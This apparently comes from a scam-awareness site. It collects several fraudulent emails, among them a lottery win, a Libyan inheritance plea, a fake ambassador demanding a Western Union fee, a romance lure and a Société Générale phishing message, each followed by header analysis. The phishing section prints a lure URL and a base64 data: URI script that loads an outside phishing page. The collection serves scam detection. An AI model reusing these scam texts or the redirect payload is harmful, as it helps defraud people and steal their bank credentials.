Confirm the recepit of this email

Dear Winner,

We are pleased to inform you of the announcement On 26/07/2016, that.Your email address has been selected for a cash prize of $4,500.000 USD(FOUR MILLION,FIVE HUNDRED THOUSAND DOLLARS ONLY) in International Email Sweepstakes Program Cooporation held in Spain.

The on-line Sorteo de Navidad International lottery PROGRAM draws was picked by an advanced automated random computer and your e-mail address was assigned to ticket numbers for privacy. Your e-mail address emerged as one of (12) twelve winners. We advised you to contact your claim agent, Dr. Fernando Prado at Email: Prado.fernando56@outlook.com

(1)Coupon No : SPA/CZ213487/USA
(2)Ticket No : 45362EUR
(3)Lucky No : 11-122-98-22

CONGRATULATIONS!!!

Please remember to quote all your winning information's and your full names to your claim agent.

Sincerely,
Agent Name
Dr. Fernando Prado

Email analysis :

NOTE : Prado.fernando56@outlook.com
NOTE : anibal.beyma@speedy.com.ar
NOTE : Received : from localhost (mail-web15-mia.terra.com [208.84.242.153])

NOTE : (authenticated user anibal.beyma!speedylm)

My Dearest, i need your help

Good Day,

Forgive my indignation if this message comes to you as a surprise and may offend your personality for contacting you without your prior consent and writing through this channel.

I came across your name and contact on the course of my personal searching When i was searching for a foreign reliable partner. I assured of your capability and reliability After going true your profile

I'm (Miss.Gifty) from Benghazi libya, My father of blessed memory by name late General Abdel Fattah Younes who was shot death by Islamist-linked militia within the anti-Gaddafi forces on 28th July, 2011 and after two days later my mother with my two brothers was killed one early morning by the rebels as result of civil war that going on in my country Libya, then after the burial of my parents, my uncles conspired and sold my father’s properties and left nothing for me. On a faithful morning, I opened my father's briefcase and discover a document which he has deposited ($6.250M USD) in a bank in Burkina Faso with my name as the legitimate/next of kin.

Meanwhile i have located the bank,and have also discussed the possible transfer of the fund. My father left a clause to the bank that i must introduce a trusted foreign partner who would be my trustee to help me invest this fund; hence the need for your assistance,i request that you be my trustee and assist me in effecting the transfer of the fund to your account or an account you will nominate for investment.

You will also be responsible for the investment and management of the fund for me and also you will help me get a good school where i will further my education.
I agreed to give you 40% of the 6.250M once the transfer is done. this is my true life story, I will be glad to receive your respond soonest for more details to enable us start and champion the transfer less than 14 bank working days as told me by the bank manager.

Waiting for your early reply

reply To giftyyounes@gmail.com


yours sincerely
Miss.Gifty Younes

Email analysis :

NOTE : carlotaynacho@speedy.com.ar
NOTE : giftyyounes@gmail.com
NOTE : X-Origin : 154.66.162.18

GOOD MORNING WITH A GOOD NEWS FROM AMBASSADOR JAMES .F. ENTWISTLE

WITH DUE RESPECT,

I SHALL BE COMING TO YOUR COUNTRY FOR AN OFFICIAL MEETING ON FRIDAY AND I WILL BE BRINGING YOUR FUNDS $3.5M DOLLARS WHICH IS PACKAGED IN FORM OF A CONSIGNMENT ALONG WITH ME BUT THIS TIME I WILL NOT GO THROUGH CUSTOMS BECAUSE AS AN AMBASSADOR TO NIGERIA, I AM A US GOVERNMENT AGENT AND I HAVE THE VETO POWER TO GO THROUGH CUSTOMS. AS SOON AS I AM THROUGH WITH THE MEETING I SHALL THEN PROCEED TO YOUR ADDRESS. (SEND YOUR CELL PHONE NUMBER AND THE ADDRESS WHERE YOU WANT ME TO BRING THE PACKAGE). YOU HAVE REALLY PAID SO MUCH IN THIS DELIVERY THAT MAKES ME WONDER.YOU ARE A VERY LUCKY

PERSON BECAUSE I SHALL BE BRINGING IT MYSELF AND THERE IS NOTHING ANYONE CAN DO ABOUT IT,AS IT ONE OUR PRIORITY TO FIGHT FOR OUR COUNTRY MEN ANYWHERE IN THE WORLD. YOUR PACKAGE MUST BE REGISTERED AS AN AMBASSADORIAL PACKAGE FOR ME TO DEFEAT ALL ODDS AND THE COST OF REGISTERING IT IS $280THE FEE MUST BE PAIDIN THE NEXT 120 HOURS VIA WESTERN UNION OR MONEY GRAM SO THAT ALL NECESSARY ARRANGEMENT CAN BE MADE BEFORE TIME WILL BE AGAINST US.

SEND THE FEE VIA MONEY GRAM OR WESTERN UNION MONEY TRANSFER.

RECEIVER'S NAME: OBI PETER
ADDRESS: LAGOS, NIGERIA
TEXT QUESTION:IN GOD?
ANSWER: WE TRUST
AMOUNT:$280USD.

AS SOON AS YOU SEND THE FEE MAKE SURE YOU SEND ME THE PAYMENT INFORMATION.
MY FLIGHT IS FRIDAY AND I EXPECT YOU TO COMPLY BEFORE THEN SO THAT THE
DELIVERY CAN BE COMPLETED. IF YOU DO NOT COMPLY, THEN IT WILL NOT BE
MY FAULT IF YOU DO NOT RECEIVE YOUR PACKAGE.

Ambassador James F. Entwistle

Email analysis :

NOTE : ambassador.f.entwistle@gmail.com
NOTE : pachecoarmando@speedy.com.ar
NOTE : X-Origin : 41.58.218.93

NOTE : client-ip=98.142.233.71;

Hello dear (Funny Scam)

Hello dear

It is my pleasure to come across your contact.My names are Vicky Williams from London,United Kingdom,I will like to know more about you.please write to me through my private email address(vickywillians55@yahoo.com)for me to send you my photos and for further communication.

Yours Vicky

Email analysis :

NOTE : vickywillians55@yahoo.com
NOTE : Mime-Version : 1.0
NOTE : X-Yahoo-Newman-Property : ymail-3
NOTE : Content-Length : 1350
NOTE : client-ip=98.136.218.253;

NOTE : Hello dear
NOTE : WHAT IS FUNNY ? My names are Vicky Williams

Explanation :

BREXIT = Your Golden Ticket

YES, Brexit is official, as I'm sure you've heard...

And because of the insane results we're seeing
today, we've approved a staggering $10,000
deposit bonus for you for this Brexit-App.

Follow all the steps here:

Go here now and begin the journay of a lifetime >>

This is all over soon...

So be QUICK!

Mike

Email analysis :

NOTE : support@thoughttrading.com

Mise à jour obligatoire (Phishing Société Générale)

Mise à jour obligatoire

Chér(e) client(e);
Pour des raisons de sécurité, votre banque évolue pour vous.
Nous vous invitons a mettre à jour vos coordonnées bancaires le plus tôt possible.

Démarer la mise à jour

L'équipe Société Générale vous remercie pour votre confiance.
Cordialement.
a1 2b c3. .

a0

Email screenshot :

Email analysis :

NOTE : assistance@sg.assirance.local
NOTE : Content-Type : text/html; charset=UTF-8
NOTE : Content-Disposition : inline
NOTE : X-Priority : 3
NOTE : Return-Path : < pedroos@linode.com >
NOTE : Content-Transfer-Encoding : quoted-printable
NOTE : Received : from linode.com ([89.36.222.96])

NOTE : Mise à jour obligatoire

Phishing analysis :

CLICK : Démarer la mise à jour
OPEN : http://carlos-pendi.com/contact68cdb3cdf1bc804c6488262f57120888/
REDIRECT : data:text/html;https://particuliers.societegenerale.fr/nous_contacter.html?id=0ZXh0L2phdmFzY3JpcHQnPiBzd0ZXh0L2phdmFzY3JpcHQnPiBzd0ZXh0L2phdmFzY3JpcHQnPiBzd;base64,PHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPiBzdHI9J0AzQ0A2OEA3NEA2REA2Q0AzRUAwQUAzQ0A2OEA2NUA2MUA2NEAzRUAwQUAwQUAwOUAzQ0A3M0A3MEA2MUA2RUAzRUAzQ0A2Q0A2OUA2RUA2QkAyMEA3MkA2NUA2Q0AzREAyMkA3M0A2OEA2RkA3MkA3NEA2M0A3NUA3NEAyMEA2OUA2M0A2RkA2RUAyMkAyMEA2OEA3MkA2NUA2NkAzREAyMkA2OEA3NEA3NEA3MEAzQUAyRkAyRkA3N0A3N0A3N0AyRUA3MEA2MUA3NUA2Q0A2MUA2RUA2NEA3MkA2OUA2NUAyRUA2M0A2RkA2REAyRkA2NkA2MUA3NkA2OUA2M0A2RkA2RUAyRUA2OUA2M0A2RkAyMkAyMEA3NEA3OUA3MEA2NUAzREAyMkA2OUA2REA2MUA2N0A2NUAyRkA3NkA2RUA2NEAyRUA2REA2OUA2M0A3MkA2RkA3M0A2RkA2NkA3NEAyRUA2OUA2M0A2RkA2RUAyMkAyMEAyRkAzRUAzQ0AyRkA3M0A3MEA2MUA2RUAzRUAwQUAwOUAzQ0A2REA2NUA3NEA2MUAyMEA2M0A2OEA2MUA3MkA3M0A2NUA3NEAzREAyMkA3NUA3NEA2NkAyREAzOEAyMkAzRUAwQUAyMEAyMEAyMEAyMEAyMEAyMEAyMEAyMEAzQ0A2REA2NUA3NEA2MUAyMEA2OEA3NEA3NEA3MEAyREA2NUA3MUA3NUA2OUA3NkAzREAyMkA1OEAyREA1NUA0MUAyREA0M0A2RkA2REA3MEA2MUA3NEA2OUA2MkA2Q0A2NUAyMkAyMEA2M0A2RkA2RUA3NEA2NUA2RUA3NEAzREAyMkA0OUA0NUAzREA0NUA2NEA2N0A2NUAyMkAyMEAyRkAzRUAwQUAyMEAyMEAyMEAyMEAyMEAyMEAyMEAyMEAzQ0A3NEA2OUA3NEA2Q0A2NUAzRUA0MkA2MUA2RUA3MUA3NUA2NUAyMEA2NUA3NEAyMEA0MUA3M0A3M0A3NUA3MkA2MUA2RUA2M0A2NUA3M0AyMEAyREAyMEA1M0A2RkA2M0A2OUBFOUA3NEBFOUAyMEA0N0BFOUA2RUBFOUA3MkA2MUA2Q0A2NUAzQ0AyRkA3NEA2OUA3NEA2Q0A2NUAzRUAwOUAwOUAwQUAwOUAwOUAwQUAwOUAwOUAwQUAzQ0A3M0A3NEA3OUA2Q0A2NUAzRUAwQUAyQUAyMEAyMEAyMEAyMEAyMEAyMEA3QkA2REA2MUA3MkA2N0A2OUA2RUAzQUAzMEAzQkA3MEA2MUA2NEA2NEA2OUA2RUA2N0AzQUAzMEAzQkA3REAwQUA2OEA3NEA2REA2Q0AyQ0AwQUA2MkA2RkA2NEA3OUAyMEAyMEAyMEAyMEA3QkA2OEA2NUA2OUA2N0A2OEA3NEAzQUAzMUAzMEAzMEAyNUAzQkAyMEAyMEA3N0A2OUA2NEA3NEA2OEAzQUAzMUAzMEAzMEAyNUAzQkAyMEA2RkA3NkA2NUA3MkA2NkA2Q0A2RkA3N0AzQUA2OEA2OUA2NEA2NEA2NUA2RUAzQkA3REAwQUA3NEA2MUA2MkA2Q0A2NUAyMEAyMEA3QkA2OEA2NUA2OUA2N0A2OEA3NEAzQUAzMUAzMEAzMEAyNUAzQkAyMEAyMEA3N0A2OUA2NEA3NEA2OEAzQUAzMUAzMEAzMEAyNUAzQkAyMEA3NEA2MUA2MkA2Q0A2NUAyREA2Q0A2MUA3OUA2RkA3NUA3NEAzQUA3M0A3NEA2MUA3NEA2OUA2M0AzQkAwQUA2MkA2RkA3MkA2NEA2NUA3MkAyREA2M0A2RkA2Q0A2Q0A2MUA3MEA3M0A2NUAzQUA2M0A2RkA2Q0A2Q0A2MUA3MEA3M0A2NUAzQkA3REAwQUA2OUA2NkA3MkA2MUA2REA2NUAyMEAyMEA3QkA2NkA2Q0A2RkA2MUA3NEAzQUA2Q0A2NUA2NkA3NEAzQkAyMEA2OEA2NUA2OUA2N0A2OEA3NEAzQUAzMUAzMEAzMEAyNUAzQkAyMEA3N0A2OUA2NEA3NEA2OEAzQUAzMUAzMEAzMEAyNUAzQkA3REAwQUAyRUA2OEA2NUA2MUA2NEA2NUA3MkAyMEA3QkA2MkA2RkA3MkA2NEA2NUA3MkAyREA2MkA2RkA3NEA3NEA2RkA2REAzQUAzMUA3MEA3OEAyMEA3M0A2RkA2Q0A2OUA2NEAyMEAyM0AzMEAzMEAzMEA3REAwQUAyRUA2M0A2RkA2RUA3NEA2NUA2RUA3NEAyMEA3QkA2OEA2NUA2OUA2N0A2OEA3NEAzQUAzMUAzMEAzMEAyNUAzQkA3REAwQUAzQ0AyRkA3M0A3NEA3OUA2Q0A2NUAzRUAwQUAzQ0AyRkA2OEA2NUA2MUA2NEAzRUAwQUAzQ0A2MkA2RkA2NEA3OUAzRUAwQUAyMEAyMEAyMEAwQUAyMEAyMEAyMEAyMEAyMEAyMEAzQ0A2OUA2NkA3MkA2MUA2REA2NUAyMEA3M0A3MkA2M0AzREAyMkA2OEA3NEA3NEA3MEAzQUAyRkAyRkA3N0A3N0A3N0AyRUA3MEA2MUA3NUA2Q0A2MUA2RUA2NEA3MkA2OUA2NUAyRUA2M0A2RkA2REAyRkA2NkA2NUA2RUAyRkAyMkAyMEA2NkA3MkA2MUA2REA2NUA2MkA2RkA3MkA2NEA2NUA3MkAzREAyMkAzMEAyMkAzRUAzQ0AyRkA2OUA2NkA3MkA2MUA2REA2NUAzRUAwQUAzQ0AyRkA2MkA2RkA2NEA3OUAzRUAwQUAzQ0AyRkA2OEA3NEA2REA2Q0AzRSc7IGRvY3VtZW50LndyaXRlKHVuZXNjYXBlKHN0ci5yZXBsYWNlKC9AL2csJyUnKSkpOyA8L3NjcmlwdD4=
SCREENSHOT :

BASE64 DECODE OF THE SCRIPT : (pastebin link)
NOTE : Phishing attempt...